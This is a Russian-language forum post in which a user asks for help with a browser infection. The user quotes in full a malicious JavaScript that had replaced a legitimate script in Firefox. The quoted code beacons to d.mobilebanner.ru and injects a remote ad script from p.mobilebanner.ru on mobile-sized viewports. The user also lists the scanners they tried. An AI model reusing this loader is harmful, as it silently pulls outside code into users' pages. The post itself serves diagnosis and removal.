Вложений: 3
mobilebanner.ru [Net-Worm.Win32.Kido.ih
]
Нашел сходную тему, где пока нет ответа - [URL]http://virusinfo.info/showthread.php?t=206330[/URL] - и решил добавить немного деталей, но в той теме не могу отвечать.
Зловреда обнаружил по зависшему запросу к d.mobilebanner.ru с обращением за файлом p.gif и подумал, что у меня сайт заражен, но весь код на сервере чистый и соответствует летнему бекапу. В итоге нашел подмену одного из загружаемых javascript-ов вот таким -
[PHP]!function(){function t(){(new Image).src="http://d.mobilebanner.ru/p.gif"}function e(){return window.innerWidth>=320&&window.innerWidth<=450}function n(){try{return window.self!==window.top}catch(t){return!0}}function r(){var t=document.getElementsByTagName("head")[0],e=document.createElement("script");e.src="http://p.mobilebanner.ru/ad/base.js?",e.type="text/javascript",t.appendChild(e)}function i(t){a.parentNode.insertBefore(t,a.nextSibling)}function c(t){document.write(t.outerHTML)}function o(){for(var t=document.createElement("script"),e=Array.prototype.slice.call(a.attributes),n=0;n<e.length;n++)t.setAttribute(e[n].nodeName,e[n].nodeValue);return t.src="http://сайт.домен/оригинальный_скрипт.js?",t}var a=document.currentScript||document.scripts[document.scripts.length-1],d=o();a.async||a.defer?i(d):c(d),t(),window.__qsrad||n()||!e()||(window.__qsrad=1,r())}();[/PHP]
Пользуюсь Mozilla FireFox и в других браузерах проблемы не наблюдается. Проверка системы AWCleaner/HitmanPro/CureIt/KVRT ничего не дала. Файлы от Hijack и avz прикладываю к посту, хотя дальше файрфокса заражение видимо не ушло.
